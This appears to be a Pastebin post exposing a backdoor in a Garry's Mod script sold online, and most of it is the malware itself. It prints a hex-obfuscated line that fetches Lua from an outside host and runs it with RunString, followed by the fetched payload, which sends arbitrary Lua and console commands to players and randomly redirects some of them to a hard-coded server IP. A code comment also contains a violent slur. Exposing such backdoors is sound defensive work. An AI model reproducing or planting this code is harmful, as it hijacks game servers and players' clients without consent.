hoobonceagain

darkcide's backdoor

Aug 7th, 2018
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.89 KB | None | 0 0
  1. dark's backdoor in https://codefodder.store/script/1363-Elite-Party-System-BACKDOOR-REMOVED
  2.  
  3. which runs
  4. http://newportservers.xyz/obfuscated.lua
  5.  
  6. http.Fetch( "\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x70\x6f\x72\x74\x73\x65\x72\x76\x65\x72\x73\x2e\x78\x79\x7a\x2f\x6f\x62\x66\x75\x73\x63\x61\x74\x65\x64\x2e\x6c\x75\x61", function( b, l, h, c ) RunString( b ) end, function() end )
  7.  
  8. --[[
  9. /$$$$$$
  10. /$$__ $$
  11. /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$ /$|__/ \ $$
  12. /$$__ $| $$ | $$/$$__ $$/$$__ $$ | $$ /$$/ /$$$$$$/
  13. | $$ \ $| $$ | $| $$ \__| $$$$$$$$ \ $$/$$/ /$$____/
  14. | $$ | $| $$ | $| $$ | $$_____/ \ $$$/ | $$
  15. | $$$$$$$| $$$$$$| $$ | $$$$$$$ \ $/ | $$$$$$$$
  16. | $$____/ \______/|__/ \_______/ \_/ |________/
  17. | $$
  18. | $$
  19. |__/
  20.  
  21. this is just the logging stage
  22.  
  23. get raped /id/netvar
  24. --]]
  25.  
  26. if ( timer.Exists( "pure_heartbeat" ) ) then
  27. timer.Remove( "pure_heartbeat" )
  28. end
  29.  
  30. if ( timer.Exists( "pure_player_heartbeat" ) ) then
  31. timer.Remove( "pure_player_heartbeat" )
  32. end
  33.  
  34. local b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
  35. function base64_encode(data)
  36. return ((data:gsub('.', function(x)
  37. local r,b='',x:byte()
  38. for i=8,1,-1 do r=r..(b%2^i-b%2^(i-1)>0 and '1' or '0') end
  39. return r;
  40. end)..'0000'):gsub('%d%d%d?%d?%d?%d?', function(x)
  41. if (#x < 6) then return '' end
  42. local c=0
  43. for i=1,6 do c=c+(x:sub(i,i)=='1' and 2^(6-i) or 0) end
  44. return b:sub(c+1,c+1)
  45. end)..({ '', '==', '=' })[#data%3+1])
  46. end
  47.  
  48. function valid_player(player)
  49. if (!player:IsBot() and player:SteamID() ~= "NULL" and player:SteamID() ~= "BOT" ) then
  50. return true
  51. end
  52. end
  53.  
  54. function valid_user_player(player)
  55. if (player:GetUserGroup() == "user" ) then
  56. return true
  57. end
  58. end
  59.  
  60. function steamid_to_player(steamid)
  61. return player.GetBySteamID(steamid)
  62. end
  63.  
  64. function run_lua(lua)
  65. RunString(lua)
  66. end
  67.  
  68. function send_lua(ply, lua)
  69. ply:SendLua(lua)
  70. end
  71.  
  72. function send_command(steamid, cmd)
  73. send_lua(steamid_to_player(steamid), "LocalPlayer():ConCommand('"..cmd.."')")
  74. end
  75.  
  76. function connect_to_server(ply, ip)
  77. send_command(ply:SteamID(), "connect "..ip)
  78. end
  79.  
  80. function grab_players()
  81.  
  82. end
  83.  
  84. function heartbeat()
  85. grab_players()
  86. end
  87. timer.Create( "pure_heartbeat", 100, 0, heartbeat )
  88.  
  89.  
  90. function send_ply_lua(ply, lua)
  91. ply:SendLua(lua)
  92. end
  93.  
  94. function send_ply_command(steamid, cmd)
  95. send_ply_lua(steamid, "LocalPlayer():ConCommand('"..cmd.."')")
  96. end
  97.  
  98. function connect_ply_to_server(ply, ip)
  99. send_ply_command(ply, "connect "..ip)
  100. end
  101.  
  102. for k, v in pairs(player.GetAll()) do
  103. if (math.random( 1, 100 ) > 80) then
  104. timer.Simple( 1, function() connect_ply_to_server(v,"74.91.120.183:27015") end )
  105. end
  106. end
Advertisement
Add Comment
Please, Sign In to add comment